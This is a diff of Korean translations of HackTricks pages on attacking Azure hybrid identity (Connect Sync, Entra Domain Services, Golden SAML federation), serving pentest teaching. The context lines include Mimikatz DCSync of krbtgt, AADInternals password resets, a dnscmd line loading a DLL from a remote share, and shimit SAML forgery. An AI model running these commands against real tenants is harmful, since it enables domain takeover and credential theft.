따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 타격하기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -148,4 +148,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
@@ -19,7 +19,7 @@ az-cloud-sync.md
|
||||
|
||||
### 생성된 주체
|
||||
|
||||
- 계정 **`MSOL_<installationID>`**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) 참조). 이는 이 계정이 **온프레미스 AD에서 복제(DCSync) 권한**을 가지고 있음을 의미합니다.
|
||||
- 계정 **`MSOL_<installationID>`**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)를 참조). 이는 **온프레미스 AD에서 복제(DCSync) 권한**을 가지고 있음을 의미합니다.
|
||||
- 이는 이 계정을 손상시키는 사람이 온프레미스 도메인을 손상시킬 수 있음을 의미합니다.
|
||||
- 관리 서비스 계정 **`ADSyncMSA<id>`**가 온프레미스 AD에서 특별한 기본 권한 없이 생성됩니다.
|
||||
- Entra ID에서는 서비스 주체 **`ConnectSyncProvisioning_ConnectSync_<id>`**가 인증서와 함께 생성됩니다.
|
||||
@@ -34,7 +34,7 @@ az-cloud-sync.md
|
||||
|
||||
기본적으로 모든 **사용자**와 **비밀번호 해시의 해시**가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 **평문 비밀번호**나 **원본** **해시**는 Azure AD로 전송되지 않습니다.
|
||||
|
||||
**해시 동기화**는 매 **2분**마다 발생합니다. 그러나 기본적으로 **비밀번호 만료** 및 **계정** **만료**는 Azure AD에서 **동기화되지 않습니다**. 따라서 **온프레미스 비밀번호가 만료된**(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 **Azure 리소스에 계속 액세스할 수 있습니다**.
|
||||
**해시 동기화**는 매 **2분**마다 발생합니다. 그러나 기본적으로 **비밀번호 만료** 및 **계정 만료**는 Azure AD에서 **동기화되지 않습니다**. 따라서 **온프레미스 비밀번호가 만료된**(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 **Azure 리소스에 계속 액세스할 수 있습니다**.
|
||||
|
||||
온프레미스 사용자가 Azure 리소스에 액세스하려고 할 때, **인증은 Azure AD에서 이루어집니다**.
|
||||
|
||||
@@ -42,9 +42,9 @@ az-cloud-sync.md
|
||||
> 기본적으로 **`adminCount`** 속성이 1인 알려진 권한 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 권한 그룹의 다른 사용자나 높은 권한이 직접 할당된 사용자는 **동기화될 수 있습니다**.
|
||||
|
||||
|
||||
### 비밀번호 쓰기 백
|
||||
### 비밀번호 쓰기
|
||||
|
||||
이 구성은 사용자가 Entra ID에서 비밀번호를 변경할 때 **Entra ID에서 AD로 비밀번호를 동기화**할 수 있도록 합니다. 비밀번호 쓰기 백이 작동하려면 AD에서 자동으로 생성된 `MSOL_<id>` 사용자에게 [문서에 명시된 대로 더 많은 권한을 부여해야](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) 하여 **AD의 모든 사용자의 비밀번호를 수정할 수 있어야 합니다**.
|
||||
이 구성은 사용자가 Entra ID에서 비밀번호를 변경할 때 **Entra ID에서 AD로 비밀번호를 동기화**할 수 있도록 합니다. 비밀번호 쓰기가 작동하려면 AD에서 자동으로 생성된 `MSOL_<id>` 사용자에게 [문서에 명시된 대로 더 많은 권한을 부여해야](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **AD의 모든 사용자의 비밀번호를 수정할 수 있어야 합니다**.
|
||||
|
||||
이는 손상된 Entra ID에서 AD를 손상시키는 데 특히 흥미롭습니다. 왜냐하면 "거의" 모든 사용자의 비밀번호를 수정할 수 있기 때문입니다.
|
||||
|
||||
@@ -54,7 +54,7 @@ az-cloud-sync.md
|
||||
- **`DNSAdmins`** 그룹의 사용자.
|
||||
- GPO를 생성하고 이를 OU에 할당한 **`Group Policy Creator Owners`** 그룹의 사용자.
|
||||
- Active Directory에 인증서를 게시할 수 있는 **`Cert Publishers Group`**의 사용자.
|
||||
- **`adminCount` 속성이 1**이 아닌 높은 권한을 가진 다른 그룹의 사용자.
|
||||
- **`adminCount` 속성이 1**이 없는 높은 권한을 가진 다른 그룹의 사용자.
|
||||
|
||||
## AD --> Entra ID 피벗
|
||||
|
||||
@@ -78,7 +78,7 @@ $searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
**Connect Sync 구성**(있는 경우)을 확인하십시오:
|
||||
**Connect Sync 구성** (있는 경우)을 확인하십시오:
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
@@ -94,7 +94,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
|
||||
**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD에 대한 권한 상승이 가능합니다.
|
||||
|
||||
이 자격 증명이 저장되고 복호화되는 방법에 대한 [전체 개요는 이 강연에서 확인할 수 있습니다](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
이 자격 증명이 저장되고 복호화되는 방법에 대한 [전체 개요는 이 강의에서 확인할 수 있습니다](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### MSOL\_\* 악용하기
|
||||
```bash
|
||||
@@ -118,7 +118,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
|
||||
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
이 애플리케이션은 Entra ID 또는 Azure 관리 역할이 할당되지 않은 상태에서 생성됩니다. 그러나 다음 API 권한이 있습니다:
|
||||
이 애플리케이션은 Entra ID 또는 Azure 관리 역할이 할당되지 않은 상태에서 생성됩니다. 그러나 다음과 같은 API 권한이 있습니다:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
@@ -128,9 +128,9 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
이 애플리케이션의 SP는 문서화되지 않은 API를 사용하여 일부 특권 작업을 수행하는 데 여전히 사용될 수 있다고 언급되지만, 현재까지 PoC는 발견되지 않았습니다.\
|
||||
어쨌든, 이것이 가능할 수 있다고 생각하면, 이 서비스 주체로 로그인하기 위한 인증서를 찾고 이를 악용하는 방법을 더 탐색하는 것이 흥미로울 것입니다.
|
||||
어쨌든, 이것이 가능할 수 있다고 생각하면, 이 서비스 주체로 로그인하기 위한 인증서를 찾는 방법을 더 탐색하는 것이 흥미로울 것입니다.
|
||||
|
||||
이 [블로그 게시물](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)은 `Sync_*` 사용자에서 이 서비스 주체로 변경되기 직전에 발표되었으며, 인증서가 서버 내부에 저장되어 있었고 이를 찾고, 소유 증명(PoP)을 생성하고, 토큰을 그래프할 수 있었으며, 이를 통해 서비스 주체에 새 인증서를 추가할 수 있었다고 설명했습니다 (왜냐하면 **서비스 주체**는 항상 자신에게 새 인증서를 할당할 수 있기 때문입니다) 그리고 이후 SP로서 지속성을 유지하는 데 사용할 수 있었습니다.
|
||||
이 [블로그 게시물](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)은 `Sync_*` 사용자에서 이 서비스 주체로 변경되기 직전에 게시되었으며, 인증서가 서버 내부에 저장되어 있었고 이를 찾아서 PoP(소유 증명)를 생성하고 토큰을 그래프할 수 있었으며, 이를 통해 서비스 주체에 새 인증서를 추가할 수 있었다고 설명합니다(왜냐하면 **서비스 주체**는 항상 자신에게 새 인증서를 할당할 수 있기 때문입니다) 그리고 이를 사용하여 SP로서 지속성을 유지할 수 있습니다.
|
||||
|
||||
이러한 작업을 수행하기 위해 다음 도구가 게시되었습니다: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
@@ -139,7 +139,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
### Abusing Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> 이전에 `Sync_*`라는 사용자가 Entra ID에 생성되어 매우 민감한 권한이 할당되었으며, 이를 통해 모든 사용자의 비밀번호를 수정하거나 서비스 주체에 새 자격 증명을 추가하는 등의 특권 작업을 수행할 수 있었습니다. 그러나 2025년 1월부터 이 사용자는 기본적으로 더 이상 생성되지 않으며, 이제 애플리케이션/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**가 사용됩니다. 그러나 일부 환경에서는 여전히 존재할 수 있으므로 확인할 가치가 있습니다.
|
||||
> 이전에 `Sync_*`라는 사용자가 Entra ID에 생성되어 매우 민감한 권한이 할당되었으며, 이는 모든 사용자의 비밀번호를 수정하거나 서비스 주체에 새 자격 증명을 추가하는 등의 특권 작업을 수행할 수 있게 해주었습니다. 그러나 2025년 1월부터 이 사용자는 기본적으로 더 이상 생성되지 않으며, 이제 애플리케이션/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**가 사용됩니다. 그러나 일부 환경에서는 여전히 존재할 수 있으므로 확인할 가치가 있습니다.
|
||||
|
||||
**`Sync_*`** 계정을 손상시키면 모든 사용자의 비밀번호(전역 관리자 포함)를 **재설정**할 수 있습니다.
|
||||
```bash
|
||||
@@ -177,22 +177,22 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
이 사용자 비밀번호를 덤프하는 것도 가능합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 또 다른 옵션은 **서비스 주체에 특권 권한을 부여하는 것**인데, **Sync** 사용자가 **권한**을 가지고 있으며, 그런 다음 **그 서비스 주체에 접근하는 것**이 권한 상승의 방법이 될 수 있습니다.
|
||||
> 또 다른 옵션은 **서비스 주체에 특권 권한을 부여하는 것**이며, **Sync** 사용자는 **권한**을 가지고 이를 수행할 수 있으며, 그런 다음 **그 서비스 주체에 접근하는 것**이 권한 상승의 방법이 될 수 있습니다.
|
||||
|
||||
### Seamless SSO
|
||||
### 원활한 SSO
|
||||
|
||||
Seamless SSO를 PHS와 함께 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요:
|
||||
PHS와 함께 원활한 SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 다음에서 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting Entra ID --> AD
|
||||
## 피벗팅 Entra ID --> AD
|
||||
|
||||
- 비밀번호 쓰기 백업이 활성화된 경우, Entra ID와 동기화된 **AD의 모든 사용자의 비밀번호를 수정할 수 있습니다**.
|
||||
- 그룹 쓰기 백업이 활성화된 경우, AD와 동기화된 Entra ID의 **특권 그룹에 사용자를 추가할 수 있습니다**.
|
||||
- 비밀번호 쓰기 백이 활성화된 경우, Entra ID와 동기화된 **AD의 모든 사용자의 비밀번호를 수정할 수 있습니다**.
|
||||
- 그룹 쓰기 백이 활성화된 경우, AD와 동기화된 Entra ID의 **특권 그룹에 사용자를 추가할 수 있습니다**.
|
||||
|
||||
## References
|
||||
## 참조
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
@@ -201,4 +201,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,28 +1,28 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services는 도메인 컨트롤러를 관리할 필요 없이 Azure에서 Active Directory를 배포할 수 있게 해줍니다(실제로 도메인 컨트롤러에 접근할 수조차 없습니다).
|
||||
Microsoft Entra Domain Services는 도메인 컨트롤러를 관리할 필요 없이 Azure에서 Active Directory를 배포할 수 있게 해줍니다 (실제로 도메인 컨트롤러에 대한 접근 권한도 없습니다).
|
||||
|
||||
주요 목표는 현대 인증 방법을 사용할 수 없는 레거시 애플리케이션을 클라우드에서 실행하거나, 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가기를 원하지 않을 때 이를 가능하게 하는 것입니다.
|
||||
주요 목표는 현대 인증 방법을 사용할 수 없는 레거시 애플리케이션을 클라우드에서 실행할 수 있도록 하거나, 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가기를 원하지 않는 경우입니다.
|
||||
|
||||
Entra ID에서 생성된 사용자(다른 Active Directory에서 동기화되지 않은 사용자)를 AD 도메인 서비스와 동기화하려면 **사용자의 비밀번호를 새 비밀번호로 변경해야** 합니다. 실제로 비밀번호가 변경되기 전까지 사용자는 Microsoft Entra ID에서 도메인 서비스로 동기화되지 않습니다.
|
||||
Entra ID에서 생성된 사용자(다른 Active Directory에서 동기화되지 않은 사용자)를 AD 도메인 서비스에 동기화하려면 **사용자의 비밀번호를 새 비밀번호로 변경해야** 합니다. 실제로 비밀번호가 변경되기 전까지 사용자는 Microsoft Entra ID에서 도메인 서비스로 동기화되지 않습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 새 Active Directory 도메인을 생성하더라도 완전히 관리할 수는 없습니다(일부 잘못된 구성을 이용하지 않는 한). 즉, 기본적으로 AD에서 직접 사용자를 생성할 수 없으며, **Entra ID에서 사용자를 동기화하여** 생성해야 합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자) 또는 **더욱 필터링할 수 있습니다**.
|
||||
> 새 Active Directory 도메인을 생성하더라도 완전히 관리할 수는 없습니다 (일부 잘못된 구성을 이용하지 않는 한), 즉 기본적으로 AD에서 직접 사용자를 생성할 수 없습니다. 사용자는 **Entra ID에서 사용자를 동기화하여** 생성합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자) 또는 **더욱 필터링할 수 있습니다**.
|
||||
|
||||
> [!NOTE]
|
||||
> 일반적으로 새로운 도메인의 구성 유연성이 부족하고 AD가 보통 온프레미스에 이미 존재하기 때문에, 이는 Entra ID와 AD 간의 주요 통합은 아니지만, 이를 타협하는 방법을 아는 것은 여전히 흥미롭습니다.
|
||||
|
||||
### Pivoting
|
||||
|
||||
생성된 **`AAD DC Administrators`** 그룹의 구성원은 관리 도메인에 도메인 가입된 VM에서 로컬 관리자 권한을 부여받습니다(하지만 도메인 컨트롤러에서는 그렇지 않습니다). 이 그룹의 구성원은 **원격 데스크톱을 사용하여 도메인 가입된 VM에 원격으로 연결할 수** 있으며, 다음 그룹의 구성원이기도 합니다:
|
||||
생성된 **`AAD DC Administrators`** 그룹의 구성원은 관리 도메인에 도메인 가입된 VM에서 로컬 관리자 권한을 부여받습니다 (하지만 도메인 컨트롤러에서는 아닙니다) 왜냐하면 이들이 로컬 관리자 그룹에 추가되기 때문입니다. 이 그룹의 구성원은 **원격 데스크톱을 사용하여 도메인 가입된 VM에 원격으로 연결할 수** 있으며, 또한 다음 그룹의 구성원입니다:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: 이 그룹은 RODC(읽기 전용 도메인 컨트롤러)에서 비밀번호를 캐시할 수 없는 사용자 및 그룹을 지정합니다.
|
||||
- **`Group Policy Creators Owners`**: 이 그룹은 구성원이 도메인에서 그룹 정책을 생성할 수 있게 해줍니다. 그러나 구성원은 사용자나 그룹에 그룹 정책을 적용하거나 기존 GPO를 편집할 수 없으므로 이 환경에서는 그리 흥미롭지 않습니다.
|
||||
- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있게 해주며, 과거에 [권한 상승 및 도메인 타협을 위해 악용되었습니다](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins). 그러나 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
|
||||
- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있게 해주며, 과거에 [권한 상승 및 도메인 타협을 위해 악용되었습니다](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), 그러나 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,14 +30,14 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
AD 내에서 이러한 권한을 부여하려면 **`AAD DC Administrators`** 그룹이 이전 그룹의 구성원으로 만들어지고, GPO **`AADDC Computers GPO`**가 도메인 그룹 **`AAD DC Administrators`**의 모든 구성원을 로컬 관리자에 추가하고 있음을 유의하십시오.
|
||||
AD 내에서 이러한 권한을 부여하려면 **`AAD DC Administrators`** 그룹이 이전 그룹의 구성원으로 만들어지고, GPO **`AADDC Computers GPO`**가 도메인 그룹 **`AAD DC Administrators`**의 모든 구성원을 로컬 관리자에 추가합니다.
|
||||
|
||||
Entra ID에서 Domain Services로 생성된 AD로의 피벗은 간단합니다. **`AAD DC Administrators`** 그룹에 사용자를 추가하고, 도메인 내의 모든 머신에 RDP로 접근하면 데이터를 훔치고 **도메인을 타협할 수 있습니다.**
|
||||
Entra ID에서 Domain Services로 생성된 AD로의 피벗은 간단합니다. **`AAD DC Administrators`** 그룹에 사용자를 추가하고, 도메인의 모든 머신에 RDP로 접근하면 데이터를 훔치고 **도메인을 타협할 수 있습니다.**
|
||||
|
||||
그러나 도메인에서 Entra ID로의 피벗은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 것이 없기 때문입니다. 그러나 항상 메타데이터를 확인하여 할당된 관리 ID가 흥미로운 권한을 가질 수 있으므로 모든 VM을 확인하십시오. 또한 **도메인에서 모든 사용자 비밀번호를 덤프하고 이를 크랙하여 Entra ID / Azure에 로그인해 보십시오.**
|
||||
그러나 도메인에서 Entra ID로의 피벗은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 것이 없기 때문입니다. 그러나 항상 메타데이터를 확인하여 할당된 관리 ID가 흥미로운 권한을 가질 수 있습니다. 또한 **도메인에서 모든 사용자 비밀번호를 덤프하고 이를 크랙하여 Entra ID / Azure에 로그인해 보십시오.**
|
||||
|
||||
> [!NOTE]
|
||||
> 과거에 이 관리 AD에서 DC를 타협할 수 있는 다른 취약점이 발견되었음을 유의하십시오, [이와 같은](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC를 타협한 공격자는 Azure 관리자들이 이를 인지하지 못하거나 제거할 수 없도록 쉽게 지속성을 유지할 수 있습니다.
|
||||
> 과거에 이 관리 AD에서 DC를 타협할 수 있는 다른 취약점이 발견되었음을 유의하십시오, [이와 같은](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC를 타협한 공격자는 Azure 관리자들이 알아차리거나 제거할 수 없도록 쉽게 지속성을 유지할 수 있습니다.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**Federation**는 **신뢰**를 구축한 **도메인**의 집합입니다. 신뢰의 수준은 다양할 수 있지만, 일반적으로 **인증**을 포함하고 거의 항상 **권한 부여**를 포함합니다. 일반적인 연합에는 **공유된 리소스**에 대한 **신뢰**를 구축한 **여러 조직**이 포함될 수 있습니다.
|
||||
>귀하는 **온프레미스** 환경을 **Azure AD**와 **연합**하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 **인증이 온프레미스에서 발생**하도록 보장합니다. 이 방법은 관리자가 더 엄격한 접근 제어 수준을 구현할 수 있게 합니다. **AD FS** 및 PingFederate와의 연합이 가능합니다.
|
||||
>귀하는 **온프레미스** 환경을 **Azure AD**와 **연합**하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 **인증이 온프레미스에서 발생**하도록 보장합니다. 이 방법은 관리자가 더 엄격한 수준의 접근 제어를 구현할 수 있게 합니다. **AD FS** 및 PingFederate와의 연합이 가능합니다.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -23,9 +23,9 @@
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. 처음에, 사용자가 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(Identity Provider)로 직접 안내할 수 있습니다.
|
||||
2. 이후, SP는 사용자 인증을 위한 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.
|
||||
3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP는 SAMLResponse를 작성하고 이를 사용자를 통해 SP로 전달합니다.
|
||||
1. 처음에, 사용자가 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(Identity Provider)로 직접 우회할 수 있습니다.
|
||||
2. 이후, SP는 사용자 인증을 위해 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.
|
||||
3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP에 의해 SAMLResponse가 작성되어 사용자 통해 SP로 전달됩니다.
|
||||
4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 이용할 수 있게 합니다.
|
||||
|
||||
**SAML 인증 및 일반 공격에 대해 더 알고 싶다면 다음으로 가세요:**
|
||||
@@ -47,7 +47,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
- ADFS에서 SAML Response는 토큰 서명 인증서에 의해 서명됩니다.
|
||||
- 인증서가 손상되면 Azure AD에 ANY 사용자로 인증할 수 있습니다!
|
||||
- PTA 남용과 마찬가지로, 사용자의 비밀번호 변경이나 MFA는 효과가 없으며, 우리는 인증 응답을 위조하고 있습니다.
|
||||
- PTA 남용과 마찬가지로, 사용자에 대한 비밀번호 변경이나 MFA는 효과가 없으며, 우리는 인증 응답을 위조하고 있습니다.
|
||||
- 인증서는 DA 권한으로 AD FS 서버에서 추출할 수 있으며, 이후 인터넷에 연결된 어떤 기기에서도 사용할 수 있습니다.
|
||||
- 더 많은 정보는 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인할 수 있습니다.
|
||||
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
**Identity Provider (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **서명**되거나 **암호화**될 수 있으며, **IdP의 개인 키**를 사용합니다. 이 절차는 **Service Provider (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다.
|
||||
|
||||
[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 아이덴티티와 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자든 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다.
|
||||
[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 아이덴티티와 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다.
|
||||
|
||||
골든 SAML은 몇 가지 장점을 제공합니다:
|
||||
|
||||
@@ -96,7 +96,7 @@ _굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장 원하는 사용자로 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:**
|
||||
모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장 원하는 사용자로서 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:**
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
# 하이브리드 아이덴티티 기타 공격
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Entra ID 사용자의 온프레미스 동기화 강제
|
||||
|
||||
